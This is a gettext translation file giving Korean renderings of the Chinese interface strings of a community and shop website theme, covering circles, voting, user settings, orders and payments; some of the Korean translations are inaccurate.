msgid "请在下面参与讨论之后，方可阅读隐藏内容"
msgstr "숨겨진 내용을 읽기 전에 아래 토론에 참여하십시오."

#: TempParts/circle/circle-topic-content.php:114
#: TempParts/circle/circle-topic-footer.php:42 TempParts/stream/circle.php:38
#: TempParts/stream/document.php:55 TempParts/stream/newsflashes.php:49
#: TempParts/stream/post.php:62 TempParts/stream/shop.php:54 single-ask.php:256
msgid "参与讨论"
msgstr "토론에 참여"

#: TempParts/circle/circle-topic-content.php:121
#, fuzzy, php-format
msgid "隐藏内容，加入%s后阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: TempParts/circle/circle-topic-content.php:124
#, fuzzy, php-format
msgid "您需要加入%s之后才能查看帖子内容"
msgstr "게시물의 내용을 보려면 서클에 가입해야합니다."

#: TempParts/circle/circle-topic-content.php:135
#, php-format
msgid "%s您猜对了答案，下面是向您展示的隐藏信息：%s"
msgstr "%s, 정답을 맞혔습니다. 다음은 숨겨진 메시지입니다.  %s"

#: TempParts/circle/circle-topic-content.php:142
msgid "向"
msgstr "에"

#: TempParts/circle/circle-topic-content.php:151
msgid "隐藏内容，猜对答案后阅读"
msgstr "콘텐츠 읽기 권한 숨기기"

#: TempParts/circle/circle-topic-content.php:160
msgid "提交答案"
msgstr "답변 제출"

#: TempParts/circle/circle-topic-content.php:163
#, php-format
msgid "%s猜错啦：%s您选中的是「%s」，正确答案是：「%s」"
msgstr ""
"%s이 (가) 잘못 추측했습니다 :  %s \" %s\"를 선택했습니다. 정답은 \" %s\"입니"
"다."

#: TempParts/circle/circle-topic-content.php:216
msgid "查看原图"
msgstr "원본 사진보기"

#: TempParts/circle/circle-topic-content.php:217
msgid "向左旋转"
msgstr "왼쪽으로 회전"

#: TempParts/circle/circle-topic-content.php:218
msgid "向右旋转"
msgstr "오른쪽으로 회전"

#: TempParts/circle/circle-topic-content.php:280
#: TempParts/circle/circle-topic-content.php:313
#, php-format
msgid "%s人参与投票"
msgstr "%s 투표"

#: TempParts/circle/circle-topic-content.php:307
#: TempParts/circle/circle-topic-content.php:340
msgid "已投票"
msgstr "투표함"

#: TempParts/circle/circle-topic-content.php:345
#, php-format
msgid "%s人参与PK"
msgstr "%s 명이 PK에 참여합니다."

#: TempParts/circle/circle-topic-content.php:356
#: TempParts/circle/circle-topic-content.php:357
msgid "已选"
msgstr "선택된"

#: TempParts/circle/circle-topic-content.php:364
msgid "投票后查看结果，您的选择是？"
msgstr "투표 후 결과를 확인하세요."

#: TempParts/circle/circle-topic-content.php:365
msgid "思想因碰撞产生火花，真理因辩论获得升华"
msgstr "충돌로 촉발 된 생각, 논쟁으로 진실이 승화"

#: TempParts/circle/circle-topic-content.php:372
#, php-format
msgid "已有%s个回答，%s"
msgstr "%s이 (가) 이미 응답했습니다.  %s"

#: TempParts/circle/circle-topic-content.php:372
msgid "问题已过期"
msgstr "질문이 만료되었습니다."

#: TempParts/circle/circle-topic-content.php:374
msgid "我来回答"
msgstr "나는 대답 할 것이다"

#: TempParts/circle/circle-topic-content.php:377
msgid "查看答案"
msgstr "답변보기"

#: TempParts/circle/circle-topic-content.php:380
msgid "没有回答"
msgstr "대답이 없다"

#: TempParts/circle/circle-topic-content.php:389
msgid "不能确保答案质量，偷瞄之前务必想好哦！"
msgstr "답변의 질을 보장 할 수 없습니다, 훔치기 전에 반드시 생각하세요!"

#: TempParts/circle/circle-topic-content.php:412
msgid "采纳"
msgstr "양자"

#: TempParts/circle/circle-topic-content.php:413
msgid "已采纳"
msgstr "채택 된"

#: TempParts/circle/circle-topic-footer.php:2
msgid "热门评论"
msgstr "상위 댓글"

#: TempParts/circle/circle-topic-footer.php:10 TempParts/stream/circle.php:34
#: TempParts/stream/document.php:51 TempParts/stream/newsflashes.php:45
#: TempParts/stream/post.php:58 TempParts/stream/shop.php:50
msgid "赞"
msgstr "댓글 '좋아요' 받기"

#: TempParts/circle/circle-topic-footer.php:19 functions.php:657
#: functions.php:1927
msgid "编辑话题"
msgstr "주제 편집"

#: TempParts/circle/circle-topic-footer.php:20
msgid "删除话题"
msgstr "주제 삭제"

#: TempParts/circle/circle-topic-footer.php:21
msgid "复制链接"
msgstr "링크 복사"

#: TempParts/circle/circle-topic-footer.php:22
msgid "前往查看"
msgstr "세부정보로 이동"

#: TempParts/circle/circle-topic-footer.php:27
msgid "取消加精"
msgstr "정제 취소"

#: TempParts/circle/circle-topic-footer.php:27
msgid "加精"
msgstr "정제"

#: TempParts/circle/circle-topic-footer.php:37
msgid "审核通过"
msgstr "시험 통과"

#: TempParts/circle/circle-topic-footer.php:40
msgid "收起讨论"
msgstr "토론 접기"

#: TempParts/circle/circle-topic-footer.php:41 TempParts/stream/circle.php:38
#: TempParts/stream/document.php:55 TempParts/stream/newsflashes.php:49
#: TempParts/stream/post.php:62 TempParts/stream/shop.php:54
msgid "条讨论"
msgstr "토론"

#: TempParts/circle/circle-topic-list.php:30
#, php-format
msgid "加入的%s"
msgstr "%s에 가입함"

#: TempParts/circle/circle-topic-list.php:34
#, fuzzy, php-format
msgid "没有加入%s"
msgstr "서클에 가입하지 않았습니다."

#: TempParts/circle/circle-topic-list.php:53
#, php-format
msgid "创建的%s"
msgstr "%s 생성됨"

#: TempParts/circle/circle-topic-list.php:57
#, fuzzy, php-format
msgid "没有创建%s"
msgstr "생성 된 서클이 없습니다."

#: TempParts/circle/circle-topic-list.php:72
msgid "我的话题"
msgstr "내 주제"

#: TempParts/circle/circle-topic-list.php:99
msgid "精华"
msgstr "본질"

#: TempParts/circle/circle-topic-list.php:162 functions.php:662
msgid "没有话题"
msgstr "주제가 없습니다."

#: TempParts/circle/circle-topic-list.php:176
#, fuzzy, php-format
msgid "专属内容，加入%s后方可查看！"
msgstr "(사각형에 표시되지 않으며 원을 입력 한 후 볼 수 있습니다.)"

#: TempParts/circle/circle-topic-list.php:214
#, fuzzy, php-format
msgid "免费加入%s，可阅读更多%s内话题"
msgstr ""
"무료로 서클에 가입하세요. 서클에 가입 한 후 서클에서 더 많은 주제를 읽을 수 "
"있습니다."

#: TempParts/infomation/archive.php:22 TempParts/infomation/archive.php:27
msgid "热门的"
msgstr "인기"

#: TempParts/infomation/archive.php:23 TempParts/infomation/archive.php:28
msgid "有兴趣的"
msgstr "관심"

#: TempParts/infomation/archive.php:116
msgid "暂无报价"
msgstr "제안 없음"

#: TempParts/infomation/archive.php:128
#, fuzzy
msgid "人有兴趣"
msgstr "사람들이 관심"

#: TempParts/infomation/archive.php:131
msgid "条评论"
msgstr "댓글"

#: TempParts/infomation/archive.php:134 TempParts/single-infomation.php:96
msgid "热度"
msgstr "열"

#: TempParts/single-circle.php:63
#, fuzzy, php-format
msgid "免费%s，可阅读更多%s内话题"
msgstr ""
"무료로 서클에 가입하세요. 서클에 가입 한 후 서클에서 더 많은 주제를 읽을 수 "
"있습니다."

#: TempParts/single-document.php:13
msgid "更新于："
msgstr "업데이트："

#: TempParts/single-document.php:19
msgid "这篇文章对你有帮助吗？"
msgstr "이 기사가 당신에게 도움이 되었나요?"

#: TempParts/single-document.php:25
#, php-format
msgid "%s人中%s人觉得有帮助"
msgstr "%s명 중 %s이(가) 도움이 된다고 생각합니다."

#: TempParts/single-document.php:33
msgid "以下内容可能对你有帮助："
msgstr "다음 내용이 도움이 될 수 있습니다."

#: TempParts/single-infomation.php:56
msgid "名片"
msgstr "카드"

#: TempParts/single-infomation.php:80
msgid "已完成："
msgstr "완성하였습니다"

#: TempParts/single-infomation.php:81
msgid "进行中："
msgstr "처리:"

#: TempParts/single-infomation.php:88
msgid "私信或下方留言"
msgstr "비밀댓글 or 아래 글 남겨주세요"

#: TempParts/single-infomation.php:100
#, fuzzy
msgid "置顶到期："
msgstr "끈적 끈적한 만료 시간:"

#: TempParts/single-infomation.php:106 User/orders.php:98
msgid "暂无"
msgstr "대기중"

#: TempParts/single-infomation.php:127
msgid " 有兴趣"
msgstr " 관심"

#: TempParts/single-infomation.php:130
msgid "没兴趣了"
msgstr "더 이상 관심이 없다"

#: TempParts/single-infomation.php:131
msgid "有兴趣"
msgstr "관심"

#: TempParts/single-links.php:24
msgid "这个站点没有任何描述"
msgstr "이 사이트에는 설명이 없습니다"

#: TempParts/single-links.php:41
msgid "访问网站"
msgstr "웹사이트 방문"

#: TempParts/single-links.php:56
msgid "已赞"
msgstr "명이 팁을 줬습니다."

#: TempParts/single-newsflashes.php:29
#, fuzzy
msgid "日"
msgstr "일"

#: User/index.php:34
msgid "昵称："
msgstr "닉네임:"

#: User/index.php:40
msgid "认证："
msgstr "인증:"

#: User/index.php:54
msgid "描述："
msgstr "설명："

#: User/index.php:57
#, php-format
msgid "本站第%s号会员"
msgstr "%s번째 회원 입니다."

#: User/index.php:59
#, php-format
msgid "入驻本站%s天"
msgstr "가입한지 %s일 됐습니다."

#: User/index.php:63
msgid "性别："
msgstr "성별："

#: User/index.php:66 User/settings.php:27 User/settings.php:29
msgid "男"
msgstr "남"

#: User/index.php:69 User/settings.php:27 User/settings.php:30
msgid "女"
msgstr "여"

#: User/index.php:75
msgid "网址："
msgstr "URL："

#: User/index.php:79
msgid "没有网址"
msgstr "URL이 없습니다."

#: User/index.php:81 User/index.php:94
msgid "前往设置"
msgstr "설정"

#: User/index.php:88
msgid "简介："
msgstr "요약："

#: User/index.php:92
msgid "没有描述"
msgstr "설명 없음"

#: User/index.php:118
#, fuzzy
msgid "互动"
msgstr "글 쓰기,댓글,찜하기 등 많은 참여 바랍니다."

#: User/index.php:127 User/index.php:136 User/index.php:145
#, php-format
msgid "我的%s"
msgstr "내 %s"

#: User/index.php:158
msgid "发布的文章"
msgstr "기사"

#: User/index.php:164
msgid "在本站的投稿"
msgstr "작성한 글"

#: User/index.php:174
#, php-format
msgid "发布的%s"
msgstr "게시됨 %s"

#: User/index.php:180
#, fuzzy, php-format
#| msgid "在本站发布的快讯"
msgid "在本站发布的%s"
msgstr "등록한 속보"

#: User/index.php:190
msgid "提交的评论"
msgstr "댓글"

#: User/index.php:196
msgid "在本站提交的评论"
msgstr "등록한 댓글"

#: User/index.php:211
msgid "关注的人数"
msgstr "관심사용자"

#: User/index.php:226
msgid "粉丝人数"
msgstr "구독자 수"

#: User/index.php:235
msgid "收藏的文章"
msgstr "기사"

#: User/index.php:241
msgid "收藏的文章数量"
msgstr "찜한 기사"

#: User/index.php:251
#, php-format
msgid "收藏的%s"
msgstr "좋아하는 %s"

#: User/index.php:257
#, php-format
msgid "收藏的%s数量"
msgstr "즐겨찾기 %s개"

#: User/index.php:268
msgid "收藏的商品"
msgstr "상품"

#: User/index.php:274
msgid "收藏的商品数量"
msgstr "찜한 상품"

#: User/orders.php:30
msgid "继续支付"
msgstr "결제 계속하기"

#: User/orders.php:33
msgid "确认收货"
msgstr "상품 수령 확인"

#: User/orders.php:35
#, php-format
msgid "%s后自动确认"
msgstr "%s 이후 자동 확인"

#: User/orders.php:36
msgid "申请售后"
msgstr "애프터 서비스 신청"

#: User/orders.php:55
#, fuzzy
#| msgid "金额"
msgid "金额："
msgstr "금액"

#: User/orders.php:66
msgid "日期"
msgstr "날짜"

#: User/orders.php:76
msgid "单价"
msgstr "단가"

#: User/orders.php:92
msgid "收件地址"
msgstr "배송지"

#: User/orders.php:96
msgid "快递信息"
msgstr "택배 정보"

#: User/orders.php:101
msgid "物流追踪"
msgstr "물류 추적"

#: User/orders.php:119
msgid "快递查询中，请稍后..."
msgstr "택배조회중, 잠시만 기다려주십시오 ..."

#: User/settings.php:2
msgid "基本资料"
msgstr "기본자료"

#: User/settings.php:10
msgid "登录用户名，不可修改"
msgstr "로그인 아이디는 수정할 수 없습니다."

#: User/settings.php:19
msgid "中文、英文或数字"
msgstr "중국어, 영문 또는 숫자"

#: User/settings.php:25
msgid "性别"
msgstr "성별"

#: User/settings.php:41
msgid "您的网址"
msgstr "당신의 사이트 주소"

#: User/settings.php:47 User/settings.php:51
msgid "一句话介绍自己"
msgstr "자기소개"

#: User/settings.php:49
msgid "这人很懒什么都没留下"
msgstr "간단한 자기소개를 입력해주세요."

#: User/settings.php:61
msgid "默认地址："
msgstr "기본 주소:"

#: User/settings.php:74
msgid "备用地址："
msgstr "대체 주소:"

#: User/settings.php:82
msgid "设为默认"
msgstr "기본 설정"

#: User/settings.php:87
msgid "添加收货地址"
msgstr "배송지 추가"

#: User/settings.php:90
msgid "地址"
msgstr "주소"

#: User/settings.php:92
msgid "电话"
msgstr "전화번호"

#: User/settings.php:95
msgid "如果您在本站购物，请务必填写此项，以便发货！"
msgstr "만약 당신이 이 사이트에서 쇼핑을 한다면 배송지를 추가 해주세요."

#: User/settings.php:99
msgid "绑定手机"
msgstr "휴대폰 연결"

#: User/settings.php:110
msgid "手机号码可用作登录"
msgstr "휴대포 번호로 로그인 할수 있습니다."

#: User/settings.php:114
msgid "绑定邮箱"
msgstr "이메일 연결"

#: User/settings.php:125
msgid "邮箱可用作登录"
msgstr "이메일로 로그인 할수 있습니다."

#: User/settings.php:130
msgid "修改密码"
msgstr "비밀번호 변경"

#: User/settings.php:138
msgid "请确保两次密码一致，并且密码大于6个字符！修改密码后请重新登录"
msgstr ""
"두번의 비밀번호가 일치하고 6자이상 이여야 합니다! 비밀번호 변경 후 다시 로그"
"인 해 주세요."

#: User/settings.php:142
msgid "头像选择"
msgstr "프로필 선택"

#: User/settings.php:149
msgid "社交绑定"
msgstr "쇼셜 연동"

#: User/settings.php:159
msgid "已绑定"
msgstr "연동됨"

#: User/settings.php:160
msgid "未绑定"
msgstr "연동되지 않음"

#: User/settings.php:163
msgid "解除绑定"
msgstr "연동 해제"

#: User/settings.php:164
msgid "添加绑定"
msgstr "연동 추가"

#: User/settings.php:169
msgid "上传收款码"
msgstr "입금 QR코드"

#: User/settings.php:180
msgid "如果您需要提现，我们会通过此二维码进行转账。"
msgstr "현금을 인출해야하는 경우 이 QR 코드를 사용하여 이체합니다."

#: archive-document.php:57
#, php-format
msgid "最新%s"
msgstr "최신 %s"

#: archive-links.php:46
#, php-format
msgid "共收录 %s 个分类，%s 个网址"
msgstr "포함된 카테고리 %s개, URL %s개"

#: author.php:40
msgid "上传封面图片"
msgstr "표지 이미지 업로드"

#: author.php:46
msgid "修改我的头像"
msgstr "내 프로필 수정하기"

#: author.php:70
msgid "概览"
msgstr "개요"

#: author.php:79
msgid "发布的"
msgstr "작성 글"

#: author.php:89
msgid "订单"
msgstr "주문내역"

#: comments.php:25
#, php-format
msgid "%1$s 条回复"
msgstr "%1$s 댓글"

#: comments.php:28
msgid "文章作者"
msgstr "글쓴이"

#: comments.php:39
msgid "评论已经关闭"
msgstr "댓글 비활성화 됨"

#: comments.php:48
msgid "您必须登录或注册以后才能发表评论"
msgstr "댓글 쓰기 권한이 없습니다.로그인 하시겠습니까?"

#: comments.php:59
msgid "，欢迎您老朋友！"
msgstr ",환영합니다!"

#: comments.php:61
msgid "欢迎您，新朋友，感谢参与互动！"
msgstr "안녕하세요."

#: comments.php:62
msgid "，感谢您的参与！"
msgstr ",감사합니다!"

#: comments.php:66
msgid "确认修改"
msgstr "확인"

#: comments.php:66
msgid "修改资料"
msgstr "수정"

#: comments.php:71
msgid "称呼"
msgstr "이름"

#: comments.php:75
msgid "说说你的看法"
msgstr "당신의 의견을 말해 주세요."

#: comments.php:90
msgid "细"
msgstr "To: "

#: comments.php:91
msgid "中"
msgstr "검토 중..."

#: comments.php:92
msgid "粗"
msgstr "조잡한"

#: comments.php:96
msgid "撤销"
msgstr "취소"

#: comments.php:97
msgid "重做"
msgstr "재건"

#: comments.php:98
msgid "回放"
msgstr "다시 하다"

#: comments.php:103 functions.php:2225 functions.php:2282
msgid "涂鸦"
msgstr "낙서"

#: comments.php:133
msgid "更换"
msgstr "변경"

#: comments.php:139
msgid "合法性检查中..."
msgstr "합법성 확인 ..."

#: comments.php:146
msgid "取消回复"
msgstr "취소"

#: comments.php:193
msgid "暂无讨论，说说你的看法吧"
msgstr "당신의 의견을 말해 주세요."

#: comments.php:195
msgid "关闭讨论"
msgstr "댓글 비활성화"

#: footer.php:82
#, php-format
msgid "查询 %s 次，"
msgstr "%s번 조회, "

#: footer.php:83
#, php-format
msgid "耗时 %s 秒"
msgstr "%s초 소모"

#: footer.php:143 functions.php:2308 functions.php:2335
msgid "发布文章"
msgstr "글쓰기"

#: footer.php:165
msgid "发表话题"
msgstr "주제 게시"

#: functions.php:175
msgid "顶部页眉菜单（不支持二级菜单）"
msgstr "상단 헤더 메뉴 (두 번째 수준 메뉴는 지원되지 않음)"

#: functions.php:179
msgid "页眉左侧菜单（不支持二级菜单）"
msgstr "헤더 왼쪽에있는 메뉴 (두 번째 수준 메뉴는 지원되지 않음)"

#: functions.php:183
#, fuzzy, php-format
msgid "首页、文章、页面、分类、%s等页面菜单"
msgstr "홈 페이지, 기사, 페이지, 카테고리, 주제 및 기타 페이지 메뉴"

#: functions.php:186 functions.php:194 functions.php:198 functions.php:202
#: functions.php:207 functions.php:211
#, fuzzy, php-format
msgid "%s页面菜单"
msgstr "경고 페이지 메뉴"

#: functions.php:190
msgid "文档页面菜单"
msgstr "문서 페이지 메뉴"

#: functions.php:214
msgid "其他页面菜单（不能自定义菜单的地方会显示此菜单）"
msgstr "사이트 전체 메뉴 (이 메뉴는 메뉴를 사용자 정의 할 수없는 경우 표시됨)"

#: functions.php:259
msgid "侧边栏"
msgstr "사이드 바"

#: functions.php:261
msgid "请选择你的小工具，拖到此处。（显示在未自定义侧边栏的页面）"
msgstr "가젯을 선택하고 여기로 드래그하세요. (기사 내부 페이지에 표시)"

#: functions.php:271
msgid "文章内页小工具"
msgstr "페이지 위젯 내부 기사"

#: functions.php:273
msgid "请选择你的小工具，拖到此处。（显示在文章内页）"
msgstr "가젯을 선택하고 여기로 드래그하세요. (기사 내부 페이지에 표시)"

#: functions.php:283
msgid "底部小工具"
msgstr "하단 위젯"

#: functions.php:285 functions.php:297 functions.php:310 functions.php:322
#: functions.php:334 functions.php:350 functions.php:362 functions.php:376
#: functions.php:387 functions.php:398 functions.php:411 functions.php:425
#: functions.php:440 functions.php:453 functions.php:469 functions.php:481
#: functions.php:497 functions.php:509 functions.php:525
msgid "请选择你的小工具，拖到此处。"
msgstr "가젯을 선택하고 여기로 드래그하세요."

#: functions.php:295
msgid "页面小工具"
msgstr "페이지 위젯"

#: functions.php:308
msgid "商城首页"
msgstr "몰 홈"

#: functions.php:320
msgid "商城内页"
msgstr "쇼핑몰 페이지"

#: functions.php:332
msgid "商城分类页"
msgstr "쇼핑몰 카테고리 페이지"

#: functions.php:348 functions.php:479
#, fuzzy, php-format
msgid "%s首页小工具"
msgstr "뉴스 레터 페이지 위젯"

#: functions.php:360 functions.php:396 functions.php:467 functions.php:507
#, fuzzy, php-format
msgid "%s内页小工具"
msgstr "페이지 위젯 내부 기사"

#: functions.php:374
#, fuzzy, php-format
msgid "%s左侧小工具"
msgstr "원 왼쪽에있는 가젯"

#: functions.php:385
#, fuzzy, php-format
msgid "%s右侧小工具"
msgstr "원의 오른쪽에있는 가젯"

#: functions.php:409
msgid "信息流模式小工具"
msgstr "정보 흐름 모드 위젯"

#: functions.php:423
msgid "网址导航内页小工具"
msgstr "뉴스 레터 페이지 위젯"

#: functions.php:438
msgid "活动小工具"
msgstr "활동 가젯"

#: functions.php:451
msgid "自定义支付内页小工具"
msgstr "뉴스 레터 페이지 위젯"

#: functions.php:495
#, fuzzy, php-format
msgid "%s存档小工具"
msgstr "페이지 위젯 내부 기사"

#: functions.php:523
#, php-format
msgid "首页模块（%s）"
msgstr "홈 모듈 ( %s)"

#: functions.php:563 functions.php:564 functions.php:728 functions.php:729
#: functions.php:789 functions.php:790 functions.php:862 functions.php:863
#: functions.php:925 functions.php:926 functions.php:1049 functions.php:1050
#: functions.php:1106 functions.php:1107 functions.php:1170 functions.php:1171
#: functions.php:1203 functions.php:1204
#, fuzzy, php-format
#| msgid "添加一个话题"
msgid "添加一个%s"
msgstr "주제 추가"

#: functions.php:565 functions.php:601 functions.php:631 functions.php:730
#: functions.php:791 functions.php:864 functions.php:927 functions.php:1051
#: functions.php:1108 functions.php:1146 functions.php:1172 functions.php:1205
#, php-format
msgid "编辑%s"
msgstr "%s 편집"

#: functions.php:566 functions.php:731 functions.php:792 functions.php:865
#: functions.php:928 functions.php:1052 functions.php:1109 functions.php:1173
#: functions.php:1206
#, php-format
msgid "新的%s"
msgstr "새로운 %s"

#: functions.php:568 functions.php:733 functions.php:794 functions.php:867
#: functions.php:930 functions.php:1054 functions.php:1111 functions.php:1175
#: functions.php:1208
#, php-format
msgid "查看%s"
msgstr "보기 %s"

#: functions.php:569 functions.php:597 functions.php:627 functions.php:734
#: functions.php:795 functions.php:868 functions.php:931 functions.php:1055
#: functions.php:1112 functions.php:1142 functions.php:1176 functions.php:1209
#, php-format
msgid "搜索%s"
msgstr "%s 검색"

#: functions.php:571 functions.php:663 functions.php:736 functions.php:797
#: functions.php:870 functions.php:933 functions.php:1057 functions.php:1114
#: functions.php:1178 functions.php:1211
msgid "回收站为空"
msgstr "휴지통이 비었습니다."

#: functions.php:599 functions.php:600 functions.php:629 functions.php:871
#: functions.php:1144 functions.php:1145
#, fuzzy, php-format
msgid "父级%s"
msgstr "부모님"

#: functions.php:602 functions.php:632 functions.php:1147
#, php-format
msgid "更新%s"
msgstr "%s편 업데이트"

#: functions.php:603 functions.php:633 functions.php:1148
#, php-format
msgid "添加%s"
msgstr "%s 추가"

#: functions.php:630
#, fuzzy, php-format
msgid "父级%s："
msgstr "부모님:"

#: functions.php:655 functions.php:656
msgid "添加一个话题"
msgstr "주제 추가"

#: functions.php:658
msgid "新的话题"
msgstr "새로운 주제"

#: functions.php:659
msgid "所有话题"
msgstr "전체 주제"

#: functions.php:660
msgid "查看话题"
msgstr "주제 보기"

#: functions.php:661
msgid "搜索话题"
msgstr "주제 검색"

#: functions.php:698 functions.php:699 functions.php:708 functions.php:832
#: functions.php:833 functions.php:842 functions.php:895 functions.php:896
#: functions.php:905 functions.php:1019 functions.php:1020 functions.php:1029
#: functions.php:1080 functions.php:1081 functions.php:1090
#, php-format
msgid "%s分类"
msgstr "%s분류"

#: functions.php:700 functions.php:834 functions.php:897 functions.php:1021
#: functions.php:1082
#, php-format
msgid "搜索%s分类"
msgstr "%s 검색"

#: functions.php:701 functions.php:835 functions.php:898 functions.php:1022
#: functions.php:1083
#, php-format
msgid "所有%s分类"
msgstr "모든  %s"

#: functions.php:702 functions.php:703 functions.php:836 functions.php:899
#: functions.php:900 functions.php:1023 functions.php:1024 functions.php:1084
#: functions.php:1085
#, fuzzy, php-format
msgid "父级%s分类"
msgstr "부모님"

#: functions.php:704 functions.php:838 functions.php:901 functions.php:1025
#: functions.php:1086
#, php-format
msgid "编辑%s分类"
msgstr "%s 편집"

#: functions.php:705 functions.php:839 functions.php:902 functions.php:1026
#: functions.php:1087
#, php-format
msgid "更新%s分类"
msgstr "%s편 업데이트"

#: functions.php:706 functions.php:840 functions.php:903 functions.php:1027
#: functions.php:1088
#, php-format
msgid "添加%s分类"
msgstr "%s 추가"

#: functions.php:707 functions.php:841 functions.php:904 functions.php:1028
#: functions.php:1089
#, fuzzy, php-format
msgid "%s分类名称"
msgstr "문서 카테고리 이름"

#: functions.php:726 functions.php:923 functions.php:1811
#, php-format
msgid "%s中心"
msgstr "%s 센터"

#: functions.php:761
#, php-format
msgid "搜索%s标签"
msgstr "%s 검색"

#: functions.php:762
#, php-format
msgid "所有%s标签"
msgstr "모든  %s"

#: functions.php:763 functions.php:764
#, fuzzy, php-format
msgid "父级%s标签"
msgstr "부모님"

#: functions.php:765
#, php-format
msgid "编辑%s标签"
msgstr "%s 편집"

#: functions.php:766
#, php-format
msgid "更新%s标签"
msgstr "%s편 업데이트"

#: functions.php:767
#, php-format
msgid "添加%s标签"
msgstr "%s 추가"

#: functions.php:768
#, fuzzy, php-format
msgid "%s标签名称"
msgstr "경고 레이블 이름"

#: functions.php:837
#, fuzzy, php-format
msgid "父级%s分类："
msgstr "부모님"

#: functions.php:1758
msgid "获取邀请码"
msgstr "초대 코드 받기"

#: functions.php:1803
msgid "通知"
msgstr "알림"

#: functions.php:1815
msgid "测试"
msgstr "테스트"

#: functions.php:1819 functions.php:1975
msgid "社交登录"
msgstr "소셜 로그인"

#: functions.php:1823
msgid "输入邀请码"
msgstr "초대 코드를 입력하세요."

#: functions.php:1831
msgid "支付异步回调"
msgstr "결제 비동기 콜백"

#: functions.php:1839
msgid "支付中"
msgstr "결제중"

#: functions.php:1863
msgid "微信公众号消息回调"
msgstr "WeChat 공개 계정 메시지 콜백"

#: functions.php:1867
msgid "跳转中..."
msgstr "넘어가는 중..."

#: functions.php:1871
msgid "写文章"
msgstr "글쓰기"

#: functions.php:1875
msgid "我的任务"
msgstr "내 임무"

#: functions.php:1911
#, php-format
msgid "他的%s"
msgstr "그의 %s"

#: functions.php:1915
msgid "异步更新数据"
msgstr "비동기 적으로 데이터 업데이트"

#: functions.php:1919
#, php-format
msgid "%s管理"
msgstr "%s관리"

#: functions.php:1923
#, fuzzy, php-format
msgid "%s用户管理"
msgstr "서클 사용자 관리"

#: functions.php:1939
msgid "Ta的动态"
msgstr "Ta 님의 활동"

#: functions.php:1943
msgid "环境检查"
msgstr "환경 검사"

#: functions.php:1959 functions.php:1971
#, php-format
msgid "%s用户中心"
msgstr "%s사용자 센터"

#: functions.php:1963
#, fuzzy
msgid "获取图片"
msgstr "사진을 얻다"

#: functions.php:2053
msgid "基本信息"
msgstr "기본정보"

#: functions.php:2081
msgid "顺丰快递"
msgstr "SF 익스프레스"

#: functions.php:2082
msgid "邮政EMS"
msgstr "EMS 우편"

#: functions.php:2083
msgid "申通快递"
msgstr "신통 익스프레스"

#: functions.php:2084
msgid "中通快递"
msgstr "중통 익스프레스"

#: functions.php:2085
msgid "韵达快递"
msgstr "윤다 배달"

#: functions.php:2086
msgid "天天快递"
msgstr "데일리 익스프레스"

#: functions.php:2087
msgid "德邦快递"
msgstr "데본 익스프레스"

#: functions.php:2088
msgid "百世快递"
msgstr "베스트 익스프레스"

#: functions.php:2089 functions.php:2090
msgid "宅急送"
msgstr "택배"

#: functions.php:2091
msgid "京东快递"
msgstr "징동 익스프레스"

#: functions.php:2092
#, fuzzy
msgid "圆通快递"
msgstr "위안통 익스프레스"

#: functions.php:2103
msgid "商城订单"
msgstr "주문내역"

#: functions.php:2106
msgid "文章内购"
msgstr "기사 구매"

#: functions.php:2107
msgid "资源下载"
msgstr "다운로드"

#: functions.php:2108
msgid "文章打赏"
msgstr "기사 보상"

#: functions.php:2109
#, fuzzy, php-format
msgid "%s充值"
msgstr "%s 충전"

#: functions.php:2110
msgid "vip购买"
msgstr "VIP가입"

#: functions.php:2116
msgid "付费查看隐藏帖子"
msgstr "숨겨진 게시물을 보려면 지불"

#: functions.php:2118
msgid "优惠劵使用"
msgstr "쿠폰사용"

#: functions.php:2132
msgid "对您的问题进行说明"
msgstr "질문을 설명하세요"

#: functions.php:2133
msgid "猜对以后要显示的内容"
msgstr "나중에 표시 할 내용 추측"

#: functions.php:2134
msgid "对您的投票项目进行说明"
msgstr "투표 설명"

#: functions.php:2135
msgid "有什么新鲜事？"
msgstr "무엇이 새로운가요?"

#: functions.php:2136
msgid "请不要重复添加同一个用户"
msgstr "동일한 사용자를 반복해서 추가하지 마십시오."

#: functions.php:2137
msgid "确定要删除这张图片吗？"
msgstr "이 사진을 삭제 하시겠습니까?"

#: functions.php:2139
msgid "确定要删除这个文件吗？"
msgstr "이 파일을 삭제 하시겠습니까?"

#: functions.php:2140
msgid "确定要删除这个卡片吗？"
msgstr "이 카드를 삭제 하시겠습니까?"

#: functions.php:2141
msgid "请选择付费机制"
msgstr "지불 방식을 선택하십시오"

#: functions.php:2142
#, fuzzy, php-format
msgid "请至少设置一个%s金额"
msgstr "금액을 하나 이상 설정하세요."

#: functions.php:2143
msgid "请选择入圈规则"
msgstr "참가 규칙을 선택하세요"

#: functions.php:2145
#, fuzzy, php-format
msgid "%s名称必须大于2小于20个字符"
msgstr "서클 이름은 2 자 이상 20 자 미만이어야합니다."

#: functions.php:2146
#, fuzzy, php-format
msgid "%s描述必须大于20小于100个字符"
msgstr "서클 설명은 20 자 이상 100 자 미만이어야합니다."

#: functions.php:2148
msgid "请上传完毕后再添加新的上传"
msgstr "업로드 후 새 업로드를 추가하세요."

#: functions.php:2149
msgid "超过上传数量限制"
msgstr "업로드 한도 초과"

#: functions.php:2151
msgid "切换讨论框会清除讨论框里已有的内容，确定要切换吗？"
msgstr ""
"토론 상자를 전환하면 토론 상자의 기존 내용이 지워집니다. 전환 하시겠습니까?"

#: functions.php:2152
msgid "设置置顶成功"
msgstr "성공적으로 정상 설정"

#: functions.php:2153
msgid "取消置顶成功"
msgstr "성공적으로 고정 해제 됨"

#: functions.php:2154
msgid "删除成功"
msgstr "성공적으로 삭제"

#: functions.php:2155
msgid "删除失败，请联系管理员"
msgstr "삭제에 실패했습니다. 관리자에게 문의하십시오."

#: functions.php:2156
msgid "审核成功"
msgstr "성공적인 검토"

#: functions.php:2157
msgid "审核失败"
msgstr "감사 실패"

#: functions.php:2158
msgid "确定要删除这个话题吗？"
msgstr "이 주제를 삭제 하시겠습니까?"

#: functions.php:2159
msgid "确定要将这个用户踢出圈子吗？"
msgstr "이 사용자를 서클에서 추방하시겠습니까?"

#: functions.php:2160
#, fuzzy, php-format
msgid "恭喜，您已成功加入本%s"
msgstr "축하합니다. 서클에 성공적으로 가입했습니다."

#: functions.php:2169
msgid "文字太少"
msgstr "너무 적은 텍스트"

#: functions.php:2170
msgid "文字太多"
msgstr "너무 많은 텍스트"

#: functions.php:2171
msgid "请删除错误文件"
msgstr "잘못된 파일을 삭제하십시오"

#: functions.php:2172
msgid "发布中..."
msgstr "발표 중 ..."

